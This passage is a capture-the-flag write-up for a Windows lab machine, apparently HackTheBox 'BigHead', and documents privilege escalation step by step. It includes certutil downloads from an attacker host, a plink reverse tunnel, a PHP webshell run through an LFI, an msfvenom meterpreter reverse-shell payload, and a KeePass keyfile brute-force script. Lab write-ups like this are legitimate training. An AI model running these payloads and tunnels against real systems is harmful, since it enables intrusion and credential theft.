Great, after waiting around 5-10 minutes and grabbing a coffee, I come back to find I have a shell as Nelson waiting for me! :D.

Let’s grab the user.txt hash! :D

C:\nginx>type C:\Users\Nelson\Desktop\user.txt
type C:\Users\Nelson\Desktop\user.txt

    .-''-.  .-------.      .---.    .-./`)     _______   .---.  .---.         
  .'_ _   \ |  _ _   \     | ,_|    \ .-.')   /   __  \  |   |  |_ _|         
 / ( ` )   '| ( ' )  |   ,-./  )    / `-' \  | ,_/  \__) |   |  ( ' )         
. (_ o _)  ||(_ o _) /   \  '_ '`)   `-'`"`,-./  )       |   '-(_{;}_)        
|  (_,_)___|| (_,_).' __  > (_)  )   .---. \  '_ '`)     |      (_,_)         
'  \   .---.|  |\ \  |  |(  .  .-'   |   |  > (_)  )  __ | _ _--.   |         
 \  `-'    /|  | \ `'   / `-'`-'|___ |   | (  .  .-'_/  )|( ' ) |   |         
  \       / |  |  \    /   |        \|   |  `-'`-'     / (_{;}_)|   |         
   `'-..-'  ''-'   `'-'    `--------`'---'    `._____.'  '(_,_) '---'         
          .---.       ,-----.    ,---.  ,---.   .-''-.     .-'''-.            
          | ,_|     .'  .-,  '.  |   /  |   | .'_ _   \   / _     \           
        ,-./  )    / ,-.|  \ _ \ |  |   |  .'/ ( ` )   ' (`' )/`--'           
        \  '_ '`) ;  \  '_ /  | :|  | _ |  |. (_ o _)  |(_ o _).              
         > (_)  ) |  _`,/ \ _/  ||  _( )_  ||  (_,_)___| (_,_). '.            
        (  .  .-' : (  '\_/ \   ;\ (_ o._) /'  \   .---..---.  \  :           
         `-'`-'|___\ `"/  \  ) /  \ (_,_) /  \  `-'    /\    `-'  |           
          |        \'. \_/``".'    \     /    \       /  \       /            
          `--------`  '-----'       `---`      `'-..-'    `-...-'             
                ,---------. .---.  .---.     .-''-.                           
                \          \|   |  |_ _|   .'_ _   \                          
                 `--.  ,---'|   |  ( ' )  / ( ` )   '                         
                    |   \   |   '-(_{;}_). (_ o _)  |                         
                    :_ _:   |      (_,_) |  (_,_)___|                         
                    (_I_)   | _ _--.   | '  \   .---.                         
                   (_(=)_)  |( ' ) |   |  \  `-'    /                         
                    (_I_)   (_{;}_)|   |   \       /                          
                    '---'   '(_,_) '---'    `'-..-'                           
                             .---.  .---.    ____       .-'''-. .---.  .---.  
      .-,                    |   |  |_ _|  .'  __ `.   / _     \|   |  |_ _|  
   ,-.|  \ _                 |   |  ( ' ) /   '  \  \ (`' )/`--'|   |  ( ' )  
   \  '_ /  |                |   '-(_{;}_)|___|  /  |(_ o _).   |   '-(_{;}_) 
   _`,/ \ _/                 |      (_,_)    _.-`   | (_,_). '. |      (_,_)  
  (  '\_/ \                  | _ _--.   | .'   _    |.---.  \  :| _ _--.   |  
   `"/  \  )                 |( ' ) |   | |  _( )_  |\    `-'  ||( ' ) |   |  
     \_/``"                  (_{;}_)|   | \ (_ o _) / \       / (_{;}_)|   |  
                             '(_,_) '---'  '.(_,_).'   `-...-'  '(_,_) '---'  
                                                                              

C:\nginx>

Oh no.. It’s a troll :(
It looks like we are going to need to do more enumeration to find it.

Enumeration Of Internal Environment

Taking a look at the users on the system we see nginx.

C:\nginx>dir /a C:\Users\
dir /a C:\Users\
 Volume in drive C has no label.
 Volume Serial Number is 7882-4E78

 Directory of C:\Users

30/06/2018  20:21    <DIR>          .
30/06/2018  20:21    <DIR>          ..
23/06/2018  01:06    <DIR>          Administrator
19/01/2008  12:51    <SYMLINKD>     All Users [C:\ProgramData]
30/06/2018  20:21    <DIR>          Aministrator
11/04/2009  14:30    <DIR>          Default
19/01/2008  12:51    <JUNCTION>     Default User [C:\Users\Default]
19/01/2008  12:44               174 desktop.ini
03/07/2018  19:45    <DIR>          Nelson
05/07/2018  21:06    <DIR>          nginx
05/07/2018  20:11    <DIR>          Public
               1 File(s)            174 bytes
              10 Dir(s)  15,950,290,944 bytes free

C:\nginx>net users
net users

User accounts for \\PIEDPIPER

-------------------------------------------------------------------------------
Gilfoyle                 Guest                    Nelson                   
nginx                    
The command completed successfully.


C:\nginx>net user Nelson
net user Nelson
User name                    Nelson
Full Name                    Nelson
Comment                      
User's comment               
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            03/07/2018 19:41:42
Password expires             Never
Password changeable          03/07/2018 19:41:42
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   01/09/2018 21:45:50

Logon hours allowed          All

Local Group Memberships      *Users                
Global Group memberships     *None                 
The command completed successfully.


C:\nginx>net user nginx
net user nginx
User name                    nginx
Full Name                    nginx
Comment                      
User's comment               
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            23/06/2018 17:01:41
Password expires             Never
Password changeable          23/06/2018 17:01:41
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   01/09/2018 21:13:55

Logon hours allowed          All

Local Group Memberships      *IIS_IUSRS            *Network Configuration
                             *Users                
Global Group memberships     *None                 
The command completed successfully.



C:\nginx>whoami /all
whoami /all

USER INFORMATION
----------------

User Name        SID                                         
================ ============================================
piedpiper\nelson S-1-5-21-2525039534-546053075-121514198-1002


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                     Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Unknown SID type S-1-16-8192  Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

C:\nginx>



We see Nelson is a member of the NT AUTHORITY\BATCH group, but really, theres nothing very interesting to us at this stage…

Next, we look in “C:\Program Files\” and we see an interesting directory called “nginx manager”. Upon looking inside it, we discover it actually contains a Bitvise SSH Server Installation.

C:\Program Files\nginx manager>dir /a
dir /a
 Volume in drive C has no label.
 Volume Serial Number is 7882-4E78

 Directory of C:\Program Files\nginx manager

05/07/2018  20:43    <DIR>          .
05/07/2018  20:43    <DIR>          ..
05/07/2018  20:38           284,120 BssActStateCheck.exe
05/07/2018  20:38         5,303,352 BssCfg.exe
05/07/2018  20:38         8,370,648 BssCfgManip.exe
05/07/2018  20:38           454,736 BssCfgManip.htm
05/07/2018  20:38           189,397 BssCfgManip.idl
05/07/2018  20:38         7,264,168 BssCtrl.exe
05/07/2018  20:38             3,469 BssCtrl.ps1
05/07/2018  20:38             9,485 BssInstalledResources.htm
05/07/2018  20:38            46,617 BssStat.cpp
05/07/2018  20:38           335,784 BssStat.exe
05/07/2018  20:38            67,064 BvDump32.exe
05/07/2018  20:38           255,904 BvLsaEx.dll
05/07/2018  20:38           262,048 bvPwd.exe
05/07/2018  20:38           221,664 bvRun.exe
05/07/2018  20:38         3,091,968 BvShell.exe
05/07/2018  20:38        10,301,488 BvSshServer.exe
05/07/2018  20:38           387,480 CiCpFips32.dll
05/07/2018  20:38         1,171,456 CiWinCng32.dll
05/07/2018  20:39    <DIR>          Config
05/07/2018  20:38         1,277,496 CryptoPP530Fips32.dll
05/07/2018  20:38         2,961,840 execs.exe
01/09/2018  21:14    <DIR>          Logs
05/07/2018  20:38            19,046 SfsDll.h
05/07/2018  20:38         1,953,680 SfsDll32.dll
05/07/2018  20:38             2,512 SfsDll32.lib
05/07/2018  20:38            39,091 SfsDllSample.cpp
05/07/2018  20:38           344,592 SfsDllSample.exe
05/07/2018  20:38         3,637,672 SfsServer.exe
01/09/2018  17:25    <DIR>          Stats
05/07/2018  20:38         1,186,728 TelnetForward.exe
05/07/2018  20:38    <DIR>          TermInfo
05/07/2018  20:38                 0 totermh.dir
05/07/2018  20:38           111,040 totermh32.dll
05/07/2018  20:38         3,607,952 toterms.exe
05/07/2018  20:38           571,256 uninst.exe
05/07/2018  20:38             7,361 VirtAccountExporter.ps1
05/07/2018  20:38             6,549 VirtAccountImporter.ps1
              33 File(s)     53,747,663 bytes
               6 Dir(s)  15,950,290,944 bytes free

C:\Program Files\nginx manager>

Lets see what network service ports are listening and look for an ssh server port.

C:\nginx>netstat -ano|findstr LISTEN
netstat -ano|findstr LISTEN
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       2780
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       884
  TCP    0.0.0.0:2020           0.0.0.0:0              LISTENING       1504
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8018           0.0.0.0:0              LISTENING       2604
  TCP    0.0.0.0:8028           0.0.0.0:0              LISTENING       3128
  TCP    0.0.0.0:8038           0.0.0.0:0              LISTENING       756
  TCP    0.0.0.0:8048           0.0.0.0:0              LISTENING       3372
  TCP    0.0.0.0:8058           0.0.0.0:0              LISTENING       3600
  TCP    0.0.0.0:8068           0.0.0.0:0              LISTENING       3812
  TCP    0.0.0.0:8078           0.0.0.0:0              LISTENING       3868
  TCP    0.0.0.0:8088           0.0.0.0:0              LISTENING       3044
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       536
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       920
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       1068
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       624
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING       612
  TCP    192.168.56.101:139     0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:443          0.0.0.0:0              LISTENING       1456
  TCP    127.0.0.1:5080         0.0.0.0:0              LISTENING       1456
  TCP    [::]:135               [::]:0                 LISTENING       884
  TCP    [::]:5357              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49152             [::]:0                 LISTENING       536
  TCP    [::]:49153             [::]:0                 LISTENING       920
  TCP    [::]:49154             [::]:0                 LISTENING       1068
  TCP    [::]:49155             [::]:0                 LISTENING       624
  TCP    [::]:49156             [::]:0                 LISTENING       612

C:\nginx>

Port 2020 looks promisingly similar to the ssh default of 22 compared to all the other ports. We can use putty’s plink.exe to tunnel the port back to kali and investigate.

C:\Program Files\nginx manager>cd %TMP%
cd %TMP%

C:\Users\Nelson\AppData\Local\Temp>certutil -urlcache -split -f http://192.168.56.10/plink.exe plink.exe
certutil -urlcache -split -f http://192.168.56.10/plink.exe plink.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

C:\Users\Nelson\AppData\Local\Temp>dir /a
dir /a
 Volume in drive C has no label.
 Volume Serial Number is 7882-4E78

 Directory of C:\Users\Nelson\AppData\Local\Temp

02/09/2018  01:57    <DIR>          .
02/09/2018  01:57    <DIR>          ..
02/09/2018  01:57           311,296 plink.exe
               1 File(s)        311,296 bytes
               2 Dir(s)  15,949,258,752 bytes free

C:\Users\Nelson\AppData\Local\Temp>plink.exe [email protected] -R 2020:127.0.0.1:2020
plink.exe [email protected] -R 2020:127.0.0.1:2020
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 86:0a:53:97:fb:d9:66:bd:a5:d9:3c:a4:78:83:82:77
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y
[email protected]'s password: <-- XXXXXXXXXXXXXXXXXXXXX

Linux kali 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 27 00:14:03 2018 from 10.10.10.97


[email protected]:~$ 

Then in another terminal we can check it’s running locally on kali and try to connect to the port and grab the banner using netcat.

[email protected]:~# netstat -pantl|grep 2020
tcp        0      0 127.0.0.1:2020          0.0.0.0:*               LISTEN      5365/sshd: [email protected] 
tcp6       0      0 ::1:2020 
[email protected]:~# nc -nv 127.0.0.1 2020
(UNKNOWN) [127.0.0.1] 2020 (?) open
SSH-2.0-7.44 FlowSsh: Bitvise SSH Server (WinSSHD) 7.44: free only for personal non-commercial use
^C

But sadly we don’t have any creds for the nginx account, and attempting brute-force and dictionary attacks against ssh doesn’t work either.

Elevation Of Privileges To Nginx User

More enumeration is needed, and after some more digging around we use reg query to try to find some info about any Password entries in the registry

C:\Users\Nelson\AppData\Local\Temp>reg query HKLM /f Password /t REG_SZ /s
reg query HKLM /f Password /t REG_SZ /s

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6BC0989B-0CE6-11D1-BAAE-00C04FC2E20D}\ProgID
    (Default)    REG_SZ    IAS.ChangePassword.1

... [EXCESS OUTPUT REMOVED HERE] ...

    Password    REG_SZ    

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
    PasswordHash    REG_SZ    336d72676e6333205361797a205472794861726465722e2e2e203b440a

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Policy\Pipeline\23
    (Default)    REG_SZ    IAS.ChangePassword

End of search: 45 match(es) found.

We see alot of info here. but then focus in on investigating HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx a bit more closely. A’HA! looks like a PasswordHash ! :D

However, on closer analysis, it’s not what we are looking for…

[email protected]:~# hash-identifier 
   #########################################################################
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   #							www.Blackploit.com #
   #						       [email protected] #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: 336d72676e6333205361797a205472794861726465722e2e2e203b440a

 Not Found.

   -------------------------------------------------------------------------
 
[email protected]:~# echo 336d72676e6333205361797a205472794861726465722e2e2e203b440a|xxd -p -r
3mrgnc3 Sayz TryHarder... ;D
[email protected]:~#

But, if we go back and inspect the registry key location where it came from, we see something else interesting right next to it.

C:\Users\Nelson\AppData\Local\Temp>reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
    Type    REG_DWORD    0x10
    Start    REG_DWORD    0x4
    ErrorControl    REG_DWORD    0x1
    ImagePath    REG_EXPAND_SZ    C:\Program Files\nssm\nssm.exe
    DisplayName    REG_SZ    Nginx
    ObjectName    REG_SZ    .\nginx
    DelayedAutostart    REG_DWORD    0x0
    FailureActionsOnNonCrashFailures    REG_DWORD    0x1
    Description    REG_SZ    Nginx Web Proxy Service
    FailureActions    REG_BINARY    00000000000000000000000003000000140000000100000060EA00000100000060EA00000100000060EA0000
    Authenticate    REG_BINARY    4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000
    PasswordHash    REG_SZ    336d72676e6333205361797a205472794861726465722e2e2e203b440a

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Enum


The “Authenticate REG_BINARY” setting looks a bit odd. As it’s a string of binary data, so lets convert back it into whatever data it represents.

[email protected]:~# echo 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000 | xxd -p -r
[REDACTED_FROM_WALKTHROUGH]

Hmnn… have we found the password? Let’s try it out.

[email protected]:~# ssh -p 2020 [email protected]
[email protected]'s password:    <-- XXXXXXXXXXXXXXXXXXXXX 
...
bvshell:/$ id  
id: Command not found.

We seem to be inside the Bitvise bvterm Shell jail.

Our commands are very limited but we can at least see the user.txt at last.

Strange, we own the file but can’t seem to view it. Let’s copy it off using scp and see what we can find out.

[email protected]:~# scp -P 2020 [email protected]:user.txt nginx_user.txt
[email protected]'s password: 
user.txt                                                           100%  705   150.9KB/s   00:00    
[email protected]:~# file nginx_user.txt 
nginx_user.txt: MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Archive, ctime=Tue Jul  3 18:58:07 2018, mtime=Tue Jul  3 18:58:07 2018, atime=Tue Jul  3 19:02:44 2018, length=32, window=hide

[email protected]:~# strings nginx_user.txt 
/C:\
Users
nginx
Desktop
user.txt
piedpiper

It turns out just to be a shortcut file pointing to “C:\Users\nginx\Desktop\user.txt”. I guess we will need to find a way to access that. Let’s come back to it in a bit…

Deeper Enumeration Of Internal Environment

Reviewing the contents of our root directory in the BvShell, we come accross a directory called “apps” that itself contains the “testlink” directory we saw a path leak from.

It looks like all the files here are owned by the [email protected] group. Perhaps XAMPP Apache Server is running under the system account?

Maybe we can drop a php backdoor?

Not so fast. No write permissions here. We continue our enumeration…

Following some recon in here, we find a more recently edited file with some custom PiperCoin code added to it.

It seems a stub of code has been added after line 46 of the “linkto.php” script. After a short analysis we discover line 62 includes the value of the $PiperCoinAuth variable with the require_once() function. Looking at line 48, we see that this variable is set to the contents of the ‘PiperCoinID’ POST Parameter as long as the ‘PiperID’ POST Parameter is also set. This means we have discovered a PHP LFI vulnerability in the added code.

Elevation Of Privileges To System

Although we can’t write any files as nginx, we can as nelson. Therefore we can write a webshell in “C:\Users\Nelson\AppData\Local\Temp\” and use a curl command to exploit the vulnerability.

So lets write simple webshell and place it in the “Temp” directory as nelson

[email protected]:~# cat 3mrgnc3.txt 
<?php system($_POST["pwn"]);?>
[email protected]:~# python2 -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

C:\Users\Nelson\AppData\Local\Temp>certutil -urlcache -split -f http://192.168.56.10/3mrgnc3.txt 3mrgnc3.php
certutil -urlcache -split -f http://192.168.56.10/3mrgnc3.txt 3mrgnc3.php
****  Online  ****
CertUtil: -URLCache command completed successfully.

C:\Users\Nelson\AppData\Local\Temp>type 3mrgnc3.php
type 3mrgnc3.php
<?php system($_POST["pwn"]);?>

C:\Users\Nelson\AppData\Local\Temp>

Then use a quick bash script to use it.

[email protected]:~# ./pwnshell.sh whoami
nt authority\system

User Hash At Last!

Let’s finally grab the user.txt & root.txt hashes.

[email protected]:~# ./pwnshell.sh 'more < C:\Users\nginx\Desktop\user.txt'
[REDACTED_FROM_WALKTHROUGH]

We got the user hash sure enough… but what about the root one?

[email protected]:~# ./pwnshell.sh 'type "C:\Users\Administrator\Desktop\root.txt"'

                    * * *

              Gilfoyle's Prayer
     
___________________6666666___________________ 
____________66666__________66666_____________ 
_________6666___________________666__________ 
_______666__6____________________6_666_______ 
_____666_____66_______________666____66______ 
____66_______66666_________66666______666____ 
___66_________6___66_____66___66_______666___ 
__66__________66____6666_____66_________666__ 
_666___________66__666_66___66___________66__ 
_66____________6666_______6666___________666_ 
_66___________6666_________6666__________666_ 
_66________666_________________666_______666_ 
_66_____666______66_______66______666____666_ 
_666__666666666666666666666666666666666__66__ 
__66_______________6____66______________666__ 
___66______________66___66_____________666___ 
____66______________6__66_____________666____ 
_______666___________666___________666_______ 
_________6666_________6_________666__________ 
____________66666_____6____66666_____________ 
___________________6666666________________

   Prayer for The Praise of Satan's Kingdom

              Praise, Hail Satan!
   Glory be to Satan the Father of the Earth
       and to Lucifer our guiding light
    and to Belial who walks between worlds
     and to Lilith the queen of the night
    As it was in the void of the beginning
                   Is now, 
and ever shall be, Satan's kingdom without End

                so it is done.

                    * * *

Literally, What.. the.. Hell?… haha. :D

So… it looks like a deeper inspection is needed, and after checking for NTFS alternate data streams in the file we see …

[email protected]:~# ./pwnshell.sh 'dir /a /r "C:\Users\Administrator\Desktop\"'
 Volume in drive C has no label.
 Volume Serial Number is 7882-4E78

 Directory of C:\Users\Administrator\Desktop

06/10/2018  15:38    <DIR>          .
06/10/2018  15:38    <DIR>          ..
06/10/2018  15:38               697 chest.lnk
02/07/2018  12:56         3,579,384 hardentools.exe
05/07/2018  18:23               971 Immunity Debugger.lnk
06/10/2018  15:33             1,519 root.txt
                              7,294 root.txt:Zone.Identifier:$DATA
               5 File(s)      3,837,547 bytes
               2 Dir(s)  17,717,518,336 bytes free

Judging by the file size, it looks a bit larger than just an md5sum hash…

Lets try to get a propper meterpreter shell so we can more easily do some enumeration and download the file.

msf exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST       192.168.56.10    yes       The listen address (an interface may be specified)
   LPORT       53             yes       The listen port

   **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > set exitonsession false 
exitonsession => false
msf exploit(multi/handler) > exploit -j 
[*] Exploit running as background job 0.

[*] [2018.10.06-20:53:29] Started reverse TCP handler on 192.168.56.10:53 
msf exploit(multi/handler) > 

Then, use msfvenom to generate a payload.

[email protected]:~# msfvenom -p windows/meterpreter_reverse_tcp -a x86 \
LHOST=192.168.56.101 LPORT=53 -f exe -o 3mrgnc3.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 179779 bytes
Final size of exe file: 254976 bytes
Saved as: 3mrgnc3.exe
[email protected]:~/HTB/BigHead# serv 80
Serving HTTP on 0.0.0.0 port 80 ...


And gain a shell…

[email protected]:~# ./pwnshell.sh 'echo %TEMP%'
C:\Windows\TEMP

[email protected]:~# ./pwnshell.sh 'certutil -urlcache -split -f \
http://192.168.56.101/3mrgnc3.exe %TEMP%/3mrgnc3.exe'
****  Online  ****
CertUtil: -URLCache command completed successfully.

[email protected]:~# ./pwnshell.sh 'start %TEMP%/3mrgnc3.exe'

msf exploit(multi/handler) > 
[*] Meterpreter session 10 opened (192.168.56.10:53 -> 192.168.56.101:49165) at 2018-10-06 21:07:34 +0100
msf exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                      Connection
  --  ----  ----                     -----------                      ----------
  10        meterpreter x86/windows  NT AUTHORITY\SYSTEM @ PIEDPIPER  192.168.56.10:53 -> 192.168.56.101:49165 (192.168.56.101)

msf exploit(multi/handler) > sessions -i 10 
[*] Starting interaction with 10...

meterpreter > pwd
C:\xampp\apps\testlink\htdocs
meterpreter > cd "C:\Users\Administrator\Desktop" 
meterpreter > pwd
C:\Users\Administrator\Desktop
meterpreter > download root.txt:Zone.Identifier
[*] Downloading: root.txt:Zone.Identifier -> root.txt:Zone.Identifier
[*] Downloaded 7.12 KiB of 7.12 KiB (100.0%): root.txt:Zone.Identifier -> root.txt:Zone.Identifier
[*] download   : root.txt:Zone.Identifier -> root.txt:Zone.Identifier
meterpreter >

Let’s take a look at what the data might contain.

[email protected]:~# file root.txt\:Zone.Identifier 
root.txt:Zone.Identifier: Keepass password database 2.x KDBX

It’s a KeePass2 database file. Lets use the keepass2john script to generate a hash for the password and then see if john can crack it.

[email protected]:~# keepass2john root.txt\:Zone.Identifier > kdbx-hash
[email protected]:~# cat kdbx-hash
root.txt:Zone.Identifier:$keepass$*2*1*222*ea5626a6904620cad648168ef3f1968766f0b5f527c9a8028c1c1b03f2490449*cb3114b5089ffddbb3d607e490176e5e8da3022fc899fad5f317f1e4ebf4c268*a0b68d67dca93aee8f9804c28dac5995*afd02b46e630ff764adb50b7a2aae99d8961b1ab4676aff41c21dca19550c9ac*43c6588d17bceedbd00ed20d5ea310b82170252e29331671cc8aea3edd094ef6

[email protected]:~# john kdbx-hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:43 DONE (2018-10-06 22:21) 0g/s 327495p/s 327495c/s 327495C/s *7¡Vamos!
Session completed

NOPE! :(

Trying other wordlists yields the same result. It seems we are still missing something…

After a bit of research on how KeePass2 can be configured, we discover that a password can also be used in combination with a keyfile.

We also discover that each Windows user stores an XML config file in their profile that shows the setting for their database. This includes the location of their keyfile if they are using one.

Let’s use the search feature in meterpreter to look for the config file and try to extract the location of the keyfile if one is being used.

meterpreter > search -f keepass*.xml
Found 2 results...
    c:\Program Files\kpps\KeePass.config.xml (252 bytes)
    c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml (4705 bytes)
meterpreter > download "c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml" KeePass.config.xml
[*] Downloading: c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml -> KeePass.config.xml
[*] Downloaded 4.59 KiB of 4.59 KiB (100.0%): c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml -> KeePass.config.xml
[*] download   : c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml -> KeePass.config.xml
meterpreter >

[email protected]:~# grep -i keyfile KeePass.config.xml 
	<Item>[email protected]\..\Users\Administrator\Pictures</Item>
		<KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>

Sneaky Gilfoyle is using his profile picture as his keyfile!

Also noteworthy is the fact that option to tie access of the database with a local windows user account is set to false in the <PreferUserConfiguration> setting.

[email protected]:~# grep -i PreferUserConfiguration KeePass.config.xml 
	<PreferUserConfiguration>false</PreferUserConfiguration>

Anyway… Let’s grab it and move on…

meterpreter > download "c:\Users\Administrator\Pictures\admin.png" admin.png
[*] Downloading: c:\Users\Administrator\Pictures\admin.png -> admin.png
[*] Downloaded 113.24 KiB of 113.24 KiB (100.0%): c:\Users\Administrator\Pictures\admin.png -> admin.png
[*] download   : c:\Users\Administrator\Pictures\admin.png -> admin.png
meterpreter > 

Now we have a keyfile and a kdbx database we can’t rely on any current attack tools to work properly in helping us bruteforce the password.

If we try to use keepass2john with the keyfile is fails to give us anything useful at all…

[email protected]:~# keepass2john 
Usage: keepass2john [-i <inline threshold>] [-k <keyfile>] <.kdbx database(s)>
Default threshold is 1024 bytes (files smaller than that will be inlined)
[email protected]:~# keepass2john -k admin.png root.txt\:Zone.Identifier 
admin.png
Aborted

A custom solution is required, so I wrote my own script making use of the kpcli command line KeePass utility.

It’s pretty slow and can be improved using multiprocessing perhaps, but for our needs it should be fine.

brute-kdbx.sh

#!/bin/bash

# Requires KeePass CLI (kpcli) 

# Colour Formatting
r="\033[0;31m" # red
g="\033[0;32m" # green
c="\033[0;36m" # cyan
w="\033[0;37m" # white 
o="\033[0m"    # No Color
G="\033[1;32m" # green highlighted
C="\033[1;32m" # cyan highlighted
b=" ${w}[${r}*${w}]${o}" # border

requires(){ # Check requirement
	printf $"${b} ${r}Requires KeePass CLI (kpcli)!\n${b} Run: apt update && apt -y install kpcli\n"
}

if [[ ! "$(which kpcli)" ]]; then
	requires
	exit 1
fi

hint(){ # provide usage hint
	printf $"${b} ${G}Usage: ${0} <database.kdbx> <keyfile> <wordlist>\n"
}

if [[ ! "${3}" ]]; then
	hint
	exit 1
fi

# Variable Args
kdbx="${1}"
key="${2}"
wordlist="${3}"
total="$(wc -l $wordlist|cut -d' ' -f1)"
num=1

banner(){ # Status Output Banner
printf $"
${w}-----------------------------------------------
${b} ${C}KeePass2 Password and keyfile Bruteforcer
${b} ${o}By ${r}ȜӍŖGͶϾȜ${o} for HackTheBox BigHead Machine
${b} ${o}KDBX DB      = ${c}${r}[${c}${kdbx}${r}]
${b} ${o}KEY File     = ${c}${r}[${c}${key}${r}]
${b} ${o}Wordlist     = ${c}${r}[${c}${wordlist}${r}]
${b} Words Tested = ${r}[${c}$num/$total${r}]${w}
${b} Password     = ${r}[${G}$word${r}]${o}
${b} Time Elapsed = ${r}[${c}$(date [email protected]${t} -u +%H:hours\ %M:mins\ %S:secs)${r}]${w}
${w}-----------------------------------------------
${o}"
}

# test each password with the keyfile against the kdbx database.
s=$SECONDS
while read word; 
	do
		clear
		t=$(( SECONDS - s ))
		banner
		echo $word|kpcli --key $key --kdb $kdbx|grep -v 'Please\|invalid'	
		delay=$(( SECONDS - t ))
		if [[ $delay > 1 ]]; then
			printf $"\n${b} Password = ${r}[${G}$word${r}]${o}\n\n"
			exit 0
		fi
		num=$[$num + 1]
done < $wordlist

printf $"${b} ${g}Bye bye ;D\n"
exit 0

Winner Winner Chicken Dinner!

So, when we run it it takes a bit of time but eventually we get the password and the script automatically logs us into the database.

